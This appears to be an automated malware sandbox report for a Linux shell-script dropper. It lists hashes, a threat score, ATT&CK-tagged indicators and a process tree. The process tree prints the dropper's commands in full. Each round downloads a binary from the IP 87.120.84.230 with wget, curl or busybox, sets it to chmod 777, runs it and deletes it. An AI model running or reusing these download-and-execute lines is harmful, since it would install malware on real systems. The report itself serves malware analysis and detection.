1defa97bcc61fa80063c805f11d2bf73e79909cdba0baa2df21f2df1abaa033e

General

Target

1defa97bcc61fa80063c805f11d2bf73e79909cdba0baa2df21f2df1abaa033e.sh
Size

10KB
MD5

95086b1594ecb8d1d6f260c45e28a21c
SHA1

21511d843b85530f6b864ac7f71c20f01f1166b8
SHA256

1defa97bcc61fa80063c805f11d2bf73e79909cdba0baa2df21f2df1abaa033e
SHA512

757577fa6a5246c8ffe2cd896cf521257e0d3ccb384b4ebfc254716190bf903f7e3fc20c81237da47e0a2d020a9089e1a892c67f4876f89e6b78e09be3a72233
SSDEEP

96:N+2fK+qBBAtH4hHiRNonwem5y44fvopFA3/tSFppKEh0yiRNonwefO4fvopFbQ3l:r4hHe15y4g00y0J4l

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	process
907	chmod
919	chmod
820	chmod
943	chmod
955	chmod
979	chmod
739	chmod
913	chmod
949	chmod
871	chmod
883	chmod
901	chmod
925	chmod
846	chmod
865	chmod
895	chmod
967	chmod
775	chmod
814	chmod
889	chmod
931	chmod
937	chmod
745	chmod
807	chmod
961	chmod
973	chmod
751	chmod
877	chmod

Executes dropped EXE 28 IoCs

Processes:

sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rlV6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnurLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt9KtuwmIyCu2831WrZTg35YWBSba74CicDwJHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsxmDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5kg7i06MjgHyfbI0rokBoJywO6zaylfwMrfhgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4xGoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEYRoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5kg7i06MjgHyfbI0rokBoJywO6zaylfwMrfhgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4xJHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsxmDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6NGoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEYRoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakfV6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnurLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMqsL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt9KtuwmIyCu2831WrZTg35YWBSba74CicDw

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for modification	/tmp/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48	curl
File opened for modification	/tmp/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt	curl
File opened for modification	/tmp/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl	curl
File opened for modification	/tmp/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt	curl
File opened for modification	/tmp/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N	curl
File opened for modification	/tmp/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq	curl
File opened for modification	/tmp/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq	curl
File opened for modification	/tmp/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x	curl
File opened for modification	/tmp/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu	curl
File opened for modification	/tmp/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5	curl
File opened for modification	/tmp/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY	curl
File opened for modification	/tmp/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2	curl
File opened for modification	/tmp/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf	curl
File opened for modification	/tmp/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2	curl
File opened for modification	/tmp/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf	curl
File opened for modification	/tmp/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N	curl
File opened for modification	/tmp/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48	curl
File opened for modification	/tmp/9KtuwmIyCu2831WrZTg35YWBSba74CicDw	curl
File opened for modification	/tmp/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx	curl
File opened for modification	/tmp/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf	curl
File opened for modification	/tmp/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5	curl
File opened for modification	/tmp/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf	curl
File opened for modification	/tmp/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu	curl
File opened for modification	/tmp/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl	curl
File opened for modification	/tmp/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x	curl
File opened for modification	/tmp/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx	curl
File opened for modification	/tmp/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY	curl
File opened for modification	/tmp/9KtuwmIyCu2831WrZTg35YWBSba74CicDw	curl

/tmp/1defa97bcc61fa80063c805f11d2bf73e79909cdba0baa2df21f2df1abaa033e.sh
/tmp/1defa97bcc61fa80063c805f11d2bf73e79909cdba0baa2df21f2df1abaa033e.sh
1⤵
PID:708

/bin/rm
/bin/rm bins.sh
2⤵
PID:711

/usr/bin/wget
wget http://87.120.84.230/bins/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
PID:713

/usr/bin/curl
curl -O http://87.120.84.230/bins/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:729

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
PID:737

/bin/chmod
chmod 777 sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
- File and Directory Permissions Modification
PID:739

/tmp/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
./sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
- Executes dropped EXE
PID:740

/bin/rm
rm sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
PID:741

/usr/bin/wget
wget http://87.120.84.230/bins/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
PID:742

/usr/bin/curl
curl -O http://87.120.84.230/bins/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:743

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
PID:744

/bin/chmod
chmod 777 V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
- File and Directory Permissions Modification
PID:745

/tmp/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
./V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
- Executes dropped EXE
PID:746

/bin/rm
rm V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
PID:747

/usr/bin/wget
wget http://87.120.84.230/bins/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
PID:748

/usr/bin/curl
curl -O http://87.120.84.230/bins/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:749

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
PID:750

/bin/chmod
chmod 777 rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
- File and Directory Permissions Modification
PID:751

/tmp/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
./rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
- Executes dropped EXE
PID:752

/bin/rm
rm rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
PID:753

/usr/bin/wget
wget http://87.120.84.230/bins/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
PID:754

/usr/bin/curl
curl -O http://87.120.84.230/bins/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:761

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
PID:770

/bin/chmod
chmod 777 kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
- File and Directory Permissions Modification
PID:775

/tmp/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
./kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
- Executes dropped EXE
PID:776

/bin/rm
rm kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
PID:779

/usr/bin/wget
wget http://87.120.84.230/bins/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
PID:781

/usr/bin/curl
curl -O http://87.120.84.230/bins/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:789

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
PID:802

/bin/chmod
chmod 777 47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
- File and Directory Permissions Modification
PID:807

/tmp/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
./47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
- Executes dropped EXE
PID:808

/bin/rm
rm 47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
PID:810

/usr/bin/wget
wget http://87.120.84.230/bins/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
PID:811

/usr/bin/curl
curl -O http://87.120.84.230/bins/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:812

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
PID:813

/bin/chmod
chmod 777 9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
- File and Directory Permissions Modification
PID:814

/tmp/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
./9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
- Executes dropped EXE
PID:815

/bin/rm
rm 9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
PID:816

/usr/bin/wget
wget http://87.120.84.230/bins/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
PID:817

/usr/bin/curl
curl -O http://87.120.84.230/bins/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:818

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
PID:819

/bin/chmod
chmod 777 JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
- File and Directory Permissions Modification
PID:820

/tmp/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
./JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
- Executes dropped EXE
PID:821

/bin/rm
rm JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
PID:823

/usr/bin/wget
wget http://87.120.84.230/bins/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
PID:825

/usr/bin/curl
curl -O http://87.120.84.230/bins/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:832

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
PID:841

/bin/chmod
chmod 777 mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
- File and Directory Permissions Modification
PID:846

/tmp/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
./mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
- Executes dropped EXE
PID:847

/bin/rm
rm mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
PID:850

/usr/bin/wget
wget http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
PID:852

/usr/bin/curl
curl -O http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:860

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
PID:864

/bin/chmod
chmod 777 5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
- File and Directory Permissions Modification
PID:865

/tmp/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
./5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
- Executes dropped EXE
PID:866

/bin/rm
rm 5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
PID:867

/usr/bin/wget
wget http://87.120.84.230/bins/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
PID:868

/usr/bin/curl
curl -O http://87.120.84.230/bins/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:869

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
PID:870

/bin/chmod
chmod 777 kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
- File and Directory Permissions Modification
PID:871

/tmp/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
./kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
- Executes dropped EXE
PID:872

/bin/rm
rm kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
PID:873

/usr/bin/wget
wget http://87.120.84.230/bins/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
PID:874

/usr/bin/curl
curl -O http://87.120.84.230/bins/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:875

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
PID:876

/bin/chmod
chmod 777 hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
- File and Directory Permissions Modification
PID:877

/tmp/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
./hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
- Executes dropped EXE
PID:878

/bin/rm
rm hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
PID:879

/usr/bin/wget
wget http://87.120.84.230/bins/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
PID:880

/usr/bin/curl
curl -O http://87.120.84.230/bins/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:881

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
PID:882

/bin/chmod
chmod 777 GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
- File and Directory Permissions Modification
PID:883

/tmp/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
./GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
- Executes dropped EXE
PID:884

/bin/rm
rm GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
PID:885

/usr/bin/wget
wget http://87.120.84.230/bins/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
PID:886

/usr/bin/curl
curl -O http://87.120.84.230/bins/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:887

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
PID:888

/bin/chmod
chmod 777 RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
- File and Directory Permissions Modification
PID:889

/tmp/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
./RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
- Executes dropped EXE
PID:890

/bin/rm
rm RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
PID:891

/usr/bin/wget
wget http://87.120.84.230/bins/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
PID:892

/usr/bin/curl
curl -O http://87.120.84.230/bins/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:893

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
PID:894

/bin/chmod
chmod 777 gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
- File and Directory Permissions Modification
PID:895

/tmp/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
./gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
- Executes dropped EXE
PID:896

/bin/rm
rm gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
PID:897

/usr/bin/wget
wget http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
PID:898

/usr/bin/curl
curl -O http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:899

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
PID:900

/bin/chmod
chmod 777 5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
- File and Directory Permissions Modification
PID:901

/tmp/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
./5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
- Executes dropped EXE
PID:902

/bin/rm
rm 5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
PID:903

/usr/bin/wget
wget http://87.120.84.230/bins/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
PID:904

/usr/bin/curl
curl -O http://87.120.84.230/bins/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:905

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
PID:906

/bin/chmod
chmod 777 kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
- File and Directory Permissions Modification
PID:907

/tmp/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
./kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
- Executes dropped EXE
PID:908

/bin/rm
rm kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
PID:909

/usr/bin/wget
wget http://87.120.84.230/bins/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
PID:910

/usr/bin/curl
curl -O http://87.120.84.230/bins/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:911

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
PID:912

/bin/chmod
chmod 777 hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
- File and Directory Permissions Modification
PID:913

/tmp/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
./hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
- Executes dropped EXE
PID:914

/bin/rm
rm hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
PID:915

/usr/bin/wget
wget http://87.120.84.230/bins/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
PID:916

/usr/bin/curl
curl -O http://87.120.84.230/bins/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:917

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
PID:918

/bin/chmod
chmod 777 JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
- File and Directory Permissions Modification
PID:919

/tmp/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
./JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
- Executes dropped EXE
PID:920

/bin/rm
rm JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
PID:921

/usr/bin/wget
wget http://87.120.84.230/bins/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
PID:922

/usr/bin/curl
curl -O http://87.120.84.230/bins/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:923

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
PID:924

/bin/chmod
chmod 777 mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
- File and Directory Permissions Modification
PID:925

/tmp/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
./mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
- Executes dropped EXE
PID:926

/bin/rm
rm mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
PID:927

/usr/bin/wget
wget http://87.120.84.230/bins/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
PID:928

/usr/bin/curl
curl -O http://87.120.84.230/bins/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:929

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
PID:930

/bin/chmod
chmod 777 GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
- File and Directory Permissions Modification
PID:931

/tmp/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
./GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
- Executes dropped EXE
PID:932

/bin/rm
rm GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
PID:933

/usr/bin/wget
wget http://87.120.84.230/bins/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
PID:934

/usr/bin/curl
curl -O http://87.120.84.230/bins/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:935

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
PID:936

/bin/chmod
chmod 777 RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
- File and Directory Permissions Modification
PID:937

/tmp/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
./RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
- Executes dropped EXE
PID:938

/bin/rm
rm RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
PID:939

/usr/bin/wget
wget http://87.120.84.230/bins/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
PID:940

/usr/bin/curl
curl -O http://87.120.84.230/bins/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:941

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
PID:942

/bin/chmod
chmod 777 gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
- File and Directory Permissions Modification
PID:943

/tmp/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
./gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
- Executes dropped EXE
PID:944

/bin/rm
rm gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
PID:945

/usr/bin/wget
wget http://87.120.84.230/bins/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
PID:946

/usr/bin/curl
curl -O http://87.120.84.230/bins/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:947

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
PID:948

/bin/chmod
chmod 777 V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
- File and Directory Permissions Modification
PID:949

/tmp/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
./V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
- Executes dropped EXE
PID:950

/bin/rm
rm V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
PID:951

/usr/bin/wget
wget http://87.120.84.230/bins/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
PID:952

/usr/bin/curl
curl -O http://87.120.84.230/bins/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:953

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
PID:954

/bin/chmod
chmod 777 rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
- File and Directory Permissions Modification
PID:955

/tmp/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
./rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
